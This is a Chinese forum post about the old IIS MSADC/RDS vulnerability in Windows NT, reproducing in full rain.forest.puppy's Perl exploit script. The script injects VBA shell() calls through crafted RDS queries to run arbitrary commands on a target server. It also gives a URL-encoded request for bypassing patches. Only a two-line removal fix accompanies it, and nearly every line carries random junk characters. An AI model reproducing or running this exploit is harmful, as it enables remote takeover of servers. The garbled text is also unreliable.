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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 5=?i;P  
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涉及程序: F)$K  
Microsoft NT server wN37zPnV~  
;@ WV-bLe  
描述: WKA'=,`v  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限  H'RL62!  
0BkV/v1Uc  
详细: PM$Ee #62R  
如果你没有时间读详细内容的话,就删除: 5CJZw3q  
c:\Program Files\Common Files\System\Msadc\msadcs.dll p@&R0>6j  
有关的安全问题就没有了。 BX;5wKfA  
?3sT" r_d@  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 MWuXI1  
d_}a`H  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 HW=xvA+  
关于利用ODBC远程漏洞的描述,请参看: Oi:JiD=  
cTZ)"^z!  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 9CUimZ  
#:3r4J%+~  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 %IpSK 0<Sp  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp <2  
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这里不再论述。 zW{ 6Eg  
Wf02$c0#K  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: yt.c5> B^  
{g/wY%u=  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset dGH_ z8  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! Pn TZ/|  
jeN1eM8 WI  
6(56,i<#/  
#将下面这段保存为txt文件,然后: "perl -x 文件名" & %}/AoU  
%/0gWG  
#!perl 2]jPv0u  
# x;$|#]+  
# MSADC/RDS 'usage' (aka exploit) script ){Z  
# G=M] 8+h  
# by rain.forest.puppy UFZ"C,  
# % mn />  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me d5xxb _oE  
# beta test and find errors! >.dHt\  
f[/.I,9U^  
use Socket; use Getopt::Std; {V2bU}5 [  
getopts("e:vd:h:XR", \%args); C@dGWAG  
+}!DP~y+  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; |i)lh_iN  
`ENP=kL(+  
if (!defined $args{h} && !defined $args{R}) { J6|JWp  
print qq~ N2~$r pU3  
Usage: msadc.pl -h <host> { -d <delay> -X -v } p?myuNd[  
-h <host> = host you want to scan (ip or domain) 5}<[[}(  
-d <seconds> = delay between calls, default 1 second \ZnN D1A  
-X = dump Index Server path table, if available (-(*XNC  
-v = verbose >_Uj?F:  
-e = external dictionary file for step 5 OAok  
G:+16XCra  
Or a -R will resume a command session CM 9P"-  
L~MpY{!3  
~; exit;} :::>ro*R  
1)U} i ^  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ^@_).:oX7  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} qyv"Wb6+  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} )Xno|$b5Eo  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); #\b ;2>  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 3_J>y  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } nYov>x]  
* -z4<LAa  
if (!defined $args{R}){ $ret = &has_msadc; IIP.yyh>  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} :VFTVmr  
vXubY@k2  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" TSXTc'  
. "cmd /c "; .}p|`3$P  
$in=<STDIN>; chomp $in; Ygx,t|?7  
$command="cmd /c " . $in ; 4$i}Xk#3  
6F ;Or  
if (defined $args{R}) {&load; exit;} ,I39&;Iq  
G7Ny"{Z  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; [a NhP;<  
&try_btcustmr; ~u2w`H?V  
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print "\nStep 2: Trying to make our own DSN..."; #NJ<[Gew  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; E._hg+ (Hi  
.Cfp'u%\;  
print "\nStep 3: Trying known DSNs..."; #11RLvDQd  
&known_dsn; $NCm;0\B|  
k#jm7 +  
print "\nStep 4: Trying known .mdbs..."; Cgo XZX  
&known_mdb; L<E/,IdE  
poY8 )2  
if (defined $args{e}){ qL>v&Rd<  
print "\nStep 5: Trying dictionary of DSN names..."; ' fl(N2t  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } RO$*G jQd  
]+lF=kkc %  
print "Sorry Charley...maybe next time?\n"; \4@a  
exit; ^?sSx!:bZ  
V g6S/-  
############################################################################## !=knppY  
@SQceQfB  
sub sendraw { # ripped and modded from whisker R_9 o!s TZ  
sleep($delay); # it's a DoS on the server! At least on mine... =SL^>HS.fo  
my ($pstr)=@_; LT& /0  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || JilKZQmk  
die("Socket problems\n"); R25-/6_V>  
if(connect(S,pack "SnA4x8",2,80,$target)){ GDmv0V$6  
select(S); $|=1; ]gHLcr3  
print $pstr; my @in=<S>; w< mqe0  
select(STDOUT); close(S); ?Hk.|5A}  
return @in; UhBz<>i;!  
} else { die("Can't connect...\n"); }} 'v+96b/;  
/=- h:0{M  
############################################################################## 8'% +G  
"Y(%oJS]D  
sub make_header { # make the HTTP request ]]3Q*bq4  
my $msadc=<<EOT q!@c_o  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 D zE E:&*=  
User-Agent: ACTIVEDATA U-ULQ|6U  
Host: $ip |QMT A5  
Content-Length: $clen Y}ky/?q  
Connection: Keep-Alive 5 Af?Yxv  
v<`$bvv?  
ADCClientVersion:01.06 0O^U{#*$I  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ) _ #T c  
 X)y*#U  
--!ADM!ROX!YOUR!WORLD! 6iyt2q kh  
Content-Type: application/x-varg 3} l;  
Content-Length: $reqlen .;j"+Ef   
E8 \\X  
EOT !Am =v=>  
; $msadc=~s/\n/\r\n/g; 1k`|[l^  
return $msadc;} *eMLbU7  
EtPgzw[#c9  
############################################################################## sgR 9d  
$*wu~  
sub make_req { # make the RDS request a3*.,%d  
my ($switch, $p1, $p2)=@_; l; */M.B  
my $req=""; my $t1, $t2, $query, $dsn; J511AoQ{R  
x9 TuweG  
if ($switch==1){ # this is the btcustmr.mdb query ;\1b{-' l  
$query="Select * from Customers where City=" . make_shell(); ~y`Pwj  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . P%ye$SASd  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} '\4c "Ho  
j`Tm\!q  
elsif ($switch==2){ # this is general make table query L/c4"f|.*v  
$query="create table AZZ (B int, C varchar(10))"; P: jDB{  
$dsn="$p1";} tP -5  
L,tZh0  
elsif ($switch==3){ # this is general exploit table query ]U#JsMS  
$query="select * from AZZ where C=" . make_shell(); 6_x}.bkIx=  
$dsn="$p1";} 3{I=.mUUm  
wrhBH;3  
elsif ($switch==4){ # attempt to hork file info from index server &`-_)~5]  
$query="select path from scope()"; #vnefIcBf  
$dsn="Provider=MSIDXS;";} ~>lOl/n5  
nqBG]y aI  
elsif ($switch==5){ # bad query :LU"5g  
$query="select"; !>?4[|?n<  
$dsn="$p1";} JvT %R`i  
N;e}dwh&  
$t1= make_unicode($query); /vMQF+  
$t2= make_unicode($dsn); eUi> Mp  
$req = "\x02\x00\x03\x00"; PV5-^Y"v  
$req.= "\x08\x00" . pack ("S1", length($t1)); &II JKn|_  
$req.= "\x00\x00" . $t1 ; D:+)uX}MOf  
$req.= "\x08\x00" . pack ("S1", length($t2)); >B@i E  
$req.= "\x00\x00" . $t2 ; R994R@gz  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; f6@^ Mg  
return $req;} +qE,<c}}  
p`shY yE  
############################################################################## n U+pnkMj  
&h98.A*&  
sub make_shell { # this makes the shell() statement MHC.k=  
return "'|shell(\"$command\")|'";} Cmp{FN"o  
 zjZ;xn  
############################################################################## W*1d X"S  
ee4KMS  
sub make_unicode { # quick little function to convert to unicode nNkyOaK*4  
my ($in)=@_; my $out; L{4),65  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } f$~ _FX  
return $out;} cg>!<T*  
k8!hvJ)?  
############################################################################## UUt~W  
ZJiuj!  
sub rdo_success { # checks for RDO return success (this is kludge) $`-SVC  
my (@in) = @_; my $base=content_start(@in); 1jR=h7^=  
if($in[$base]=~/multipart\/mixed/){ S.zg&   
return 1 if( $in[$base+10]=~/^\x09\x00/ );} LG"BfYy6  
return 0;} ,AGM?&A  
hpd(d$j  
############################################################################## Fr938q6^-  
Uqb]e?@  
sub make_dsn { # this makes a DSN for us u&hDjE  
my @drives=("c","d","e","f"); 9Ba%=  
print "\nMaking DSN: "; F(?Fz8  
foreach $drive (@drives) { [,.[gWA  
print "$drive: "; a>-}\GXTA  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . n23%[#,r  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" &"@HWF  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 3:l:~Vn  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 5?#OR!N  
return 0 if $2 eq "404"; # not found/doesn't exist jV(xYA3  
if($2 eq "200") { SaX,^_GY  
foreach $line (@results) { lo IL{2  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} v Ie=wf~D`  
} return 0;} __oY:d(~  
9b"}CEw  
##############################################################################  60Xl.  
"t3uW6&  
sub verify_exists { tal>b]B;  
my ($page)=@_; $9LGdKZ_D  
my @results=sendraw("GET $page HTTP/1.0\n\n"); B;Q`vKY  
return $results[0];} yoq\9* ?u^  
YD0vfwh  
############################################################################## yBXkN&1=%;  
=|j*VF2y"  
sub try_btcustmr { Zi2Eu4p l{  
my @drives=("c","d","e","f"); =H.<"7  
my @dirs=("winnt","winnt35","winnt351","win","windows"); nm{'HH-4  
\FY/eQ*07  
foreach $dir (@dirs) { +R{A'Yl[(  
print "$dir -> "; # fun status so you can see progress yH0yO*R Z  
foreach $drive (@drives) { vu !j{%GO  
print "$drive: "; # ditto 9XJ9~I?  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; /h}wM6pg  
$reqlenlen=length( "$reqlen" ); ,u8ZS|9  
$clen= 206 + $reqlenlen + $reqlen; >S-N|uR6  
t wa(M?  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); XC+F! R  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} {y+v-v/#  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}  )zk?yY6  
z<3}TD  
############################################################################## :JTRRv  
dd?x5|/#  
sub odbc_error { ArEH%e  
my (@in)=@_; my $base; )sY$\^'WY  
my $base = content_start(@in);  9^b7jw  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this )n[`Z#  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ;Wfv+]n9  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; l"~h1xk~  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; }QApeZd+q  
return $in[$base+4].$in[$base+5].$in[$base+6];} !"o1ve`{  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; N>F2 c)rm  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . On2Vf*G@|  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ~8Dd<4?F]  
M; S-ESQ  
############################################################################## U&d-?PI  
^=-*L 3f  
sub verbose { k`iq<b  
my ($in)=@_; 's7SZ$(  
return if !$verbose; #V(Hk )  
print STDOUT "\n$in\n";} dH2j*G Ij  
//'xR8Z  
############################################################################## ATXx? b8h  
?=|) n%  
sub save { fxtYo,;$  
my ($p1, $p2, $p3, $p4)=@_; m\}\RnZu  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; =oKPMmpCZ  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; <Vr] 2mw  
close OUT;} lhIr]'?l  
c!(~BH3p  
############################################################################## {8>_,z^P)  
iBPdCp%]`  
sub load { bCY^.S-  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ~3*ZG  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); >m;|I/2@  
@p=<IN>; close(IN); JUaKj@a|  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); r,Y/4(.c7U  
$target= inet_aton($ip) || die("inet_aton problems"); wZ\e3H z  
print "Resuming to $ip ..."; Li<266#A!  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; UmP?}Xw6  
if($p[1]==1) { _6QLnr&@j  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; J4K|KS7   
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; Is*0?9qU  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ;03*qOYc  
if (rdo_success(@results)){print "Success!\n";} ]mJAKycE%  
else { print "failed\n"; verbose(odbc_error(@results));}} W&~iO   
elsif ($p[1]==3){ u=ds]XP@  
if(run_query("$p[3]")){ +~pc% 3*  
print "Success!\n";} else { print "failed\n"; }} !!D:V`F/d  
elsif ($p[1]==4){ 61eKGcjs:  
if(run_query($drvst . "$p[3]")){ [jtj~]&mO  
print "Success!\n"; } else { print "failed\n"; }} 5  a*'N~  
exit;} Um0<I)  
V;(*\"O  
############################################################################## Jj^<:t5{rN  
4{;8 ]/.a  
sub create_table { E#HU?<q8  
my ($in)=@_; _>:=<xyOq  
$reqlen=length( make_req(2,$in,"") ) - 28; }mT%N eS  
$reqlenlen=length( "$reqlen" ); aBA#\eV  
$clen= 206 + $reqlenlen + $reqlen; GO:1 Z?^  
my @results=sendraw(make_header() . make_req(2,$in,"")); J?,!1V=  
return 1 if rdo_success(@results); 5)SZd)  
my $temp= odbc_error(@results); verbose($temp); '\E*W!R.]  
return 1 if $temp=~/Table 'AZZ' already exists/; NId~| &\  
return 0;} mGyIr kE  
7gR;   
############################################################################## `$x#_-Hn  
o._#=7|(  
sub known_dsn { 7+Jma!o  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 2M( PH]D  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", BoiIr[ (  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", kvO`]>#;$?  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); %N_S/V0`  
(=&bo p  
foreach $dSn (@dsns) { J/P@m_Yx  
print "."; +EB,7<5<  
next if (!is_access("DSN=$dSn")); 1-Wnc'(OK  
if(create_table("DSN=$dSn")){ DGuUI}|)  
print "$dSn successful\n"; ?PxYS%D_L  
if(run_query("DSN=$dSn")){ O'sr[  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { d=5}^v#4  
print "Something's borked. Use verbose next time\n";}}} print "\n";} WUOPYYW<o  
$P}]|/Yb  
############################################################################## F*jj cUk  
t%YX-@  
sub is_access { /Geks/  
my ($in)=@_; Qmc;s{-r;  
$reqlen=length( make_req(5,$in,"") ) - 28; .Mft+,"  
$reqlenlen=length( "$reqlen" ); `\u),$  
$clen= 206 + $reqlenlen + $reqlen; [{!j9E?(  
my @results=sendraw(make_header() . make_req(5,$in,"")); $E@.G1T [  
my $temp= odbc_error(@results); - 9<yB  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ,tv9+n@x  
return 0;} Ai_|)  
Qc =lf$  
############################################################################## 8!fAv$g0  
hu*>B  
sub run_query { %IH|zSr)EM  
my ($in)=@_; ", Rw%_  
$reqlen=length( make_req(3,$in,"") ) - 28; sT"tS>  
$reqlenlen=length( "$reqlen" ); D!E 9@*Lf  
$clen= 206 + $reqlenlen + $reqlen; ]B.,7  
my @results=sendraw(make_header() . make_req(3,$in,"")); G`JwAy r'  
return 1 if rdo_success(@results); yLa5tv/  
my $temp= odbc_error(@results); verbose($temp); "E[*rnsLN  
return 0;} n YMf[kW  
ZzaW@6LJF  
############################################################################## '  ^L  
hw.demD  
sub known_mdb { hs#s $})}Z  
my @drives=("c","d","e","f","g"); ;NVTn<Uj  
my @dirs=("winnt","winnt35","winnt351","win","windows"); wT AEJ{p  
my $dir, $drive, $mdb; xp;8p94   
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; w#bbm'j7r  
.1q~,}toX  
# this is sparse, because I don't know of many 3/|{>7]1  
my @sysmdbs=( "\\catroot\\icatalog.mdb", % |Gzht\  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", &l}xBQAL  
"\\system32\\certmdb.mdb", T7Qd I[K%b  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% X%\6V;zR#  
B46H@]d#7K  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", uXW. (x7"f  
"\\cfusion\\cfapps\\forums\\forums_.mdb", i$<v*$.o  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", j tkPi)QR  
"\\cfusion\\cfapps\\security\\realm_.mdb", Ty`=U>K|  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ~322dG  
"\\cfusion\\database\\cfexamples.mdb", i@?<]n  
"\\cfusion\\database\\cfsnippets.mdb", XK9*,WA9r  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", `0vy+T5  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", V`&*%xgGR  
"\\cfusion\\brighttiger\\database\\cleam.mdb", l{SPV8[i  
"\\cfusion\\database\\smpolicy.mdb", dE!=a|Pl  
"\\cfusion\\database\cypress.mdb", k)t8J\  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", -+2xdLa63  
"\\website\\cgi-win\\dbsample.mdb", d1_*!LW$  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ZjbG&oc  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" XlcDF|?{.  
); #these are just Evgq}3  
foreach $drive (@drives) { 0JL6EL>_  
foreach $dir (@dirs){ k.f:nv5JO  
foreach $mdb (@sysmdbs) {  Jy[8,X  
print "."; aZ0iwMK  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ N0KRND  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ?U[nYp}"v  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ $W]guG  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; (dnc7KrM  
} else { print "Something's borked. Use verbose next time\n"; }}}}} K]Cs2IpI  
iK0J{'  
foreach $drive (@drives) { >bP7}T  
foreach $mdb (@mdbs) { >N"PLSY1  
print "."; MBrVh6z>  
if(create_table($drv . $drive . $dir . $mdb)){ pY5HW2TsY|  
print "\n" . $drive . $dir . $mdb . " successful\n"; @uD{`@[  
if(run_query($drv . $drive . $dir . $mdb)){ $>37PVVW  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ?PtRb:RHt  
} else { print "Something's borked. Use verbose next time\n"; }}}} -^yc yZ  
} 1ORi]`  
Q"_T040B  
############################################################################## ,'DrFlI  
kF~e3A7C  
sub hork_idx { :rc[j@|pH  
print "\nAttempting to dump Index Server tables...\n"; X51$5%  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; d(tf: @  
$reqlen=length( make_req(4,"","") ) - 28; \5c -L_  
$reqlenlen=length( "$reqlen" ); $=a$z"  
$clen= 206 + $reqlenlen + $reqlen; +W[#;)ea(  
my @results=sendraw2(make_header() . make_req(4,"","")); :u+#:8u  
if (rdo_success(@results)){ <G=@Gl  
my $max=@results; my $c; my %d; k(Xv&Zn  
for($c=19; $c<$max; $c++){ 4^9_E &Fa  
$results[$c]=~s/\x00//g; QRa6*AYm  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; AQU: 0  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; l+qtA~V&2  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; <T[ui  
$d{"$1$2"}="";} epyYo&x}  
foreach $c (keys %d){ print "$c\n"; } m)w- mc  
} else {print "Index server doesn't seem to be installed.\n"; }} -\v8i.w0  
3`8xh 9O  
############################################################################## $ !=:ES  
t O;W?g  
sub dsn_dict { o fv 1G=P  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); %+J*oFwQu  
while(<IN>){ S*@0%|Q4r  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; U MIZ:*j  
next if (!is_access("DSN=$dSn")); T<GD!j(  
if(create_table("DSN=$dSn")){ 7OHw/-j\  
print "$dSn successful\n"; nOzT Hg8  
if(run_query("DSN=$dSn")){ |H@p^.;  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { glIIJ5d|,  
print "Something's borked. Use verbose next time\n";}}} IcA~f@  
print "\n"; close(IN);} eZ$1|Sj]j  
{-qTU6  
############################################################################## k= 1+mG  
Jtk(yp{Zz  
sub sendraw2 { # ripped and modded from whisker [p<[83' ]  
sleep($delay); # it's a DoS on the server! At least on mine... ^C T}i'  
my ($pstr)=@_; 8nR,GW\  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || P$(}}@  
die("Socket problems\n"); $o H,:x?}  
if(connect(S,pack "SnA4x8",2,80,$target)){ @b({QM|  
print "Connected. Getting data"; Q(7l<z  
open(OUT,">raw.out"); my @in; _3>zi.J/  
select(S); $|=1; print $pstr; zjE4v-H:l  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} %W@IB8]Vr  
close(OUT); select(STDOUT); close(S); return @in; 3&:fS|L~c  
} else { die("Can't connect...\n"); }} 9hpM*wt  
YNk|UwJi  
############################################################################## ZM!~M>B9R  
uMZf9XUE  
sub content_start { # this will take in the server headers W<l(C!{  
my (@in)=@_; my $c; brot&S2P><  
for ($c=1;$c<500;$c++) { T6#GlO)8)  
if($in[$c] =~/^\x0d\x0a/){ 11+_OC2-   
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } !7?wd^C'f  
else { return $c+1; }}} L<`g}iw  
return -1;} # it should never get here actually 4tWI)}+ak  
H4jqF~  
############################################################################## CgE5;O  
zf u78  
sub funky { *?Y6qalSy  
my (@in)=@_; my $error=odbc_error(@in); 7^5BnF@  
if($error=~/ADO could not find the specified provider/){ ;O>fy :$'  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 5,Zn$zosJC  
exit;} X:/t>0e  
if($error=~/A Handler is required/){ P2F>iK#U  
print "\nServer has custom handler filters (they most likely are patched)\n"; G$<0_0GF  
exit;} Y.#+Yh[  
if($error=~/specified Handler has denied Access/){ *h6i9V%'  
print "\nServer has custom handler filters (they most likely are patched)\n"; 1A`";E&  
exit;}} (0f^Hh wF  
iq -o$6Pg  
############################################################################## G> >_G<x  
A4h/oMis  
sub has_msadc { g.s oN qt=  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); \$"Xr  
my $base=content_start(@results);  CVp<SS(  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); HbVLL`06*  
return 0;} V;(LeuDH|  
#C mBgxg+M  
######################## pT tX[CE  
XvY-C  
c-d}E!C:  
解决方案: w.H+$=aK  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ?C3cPt"  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 M5uN1*   
IIkJ"Qg.  
拿出来充数 哈哈
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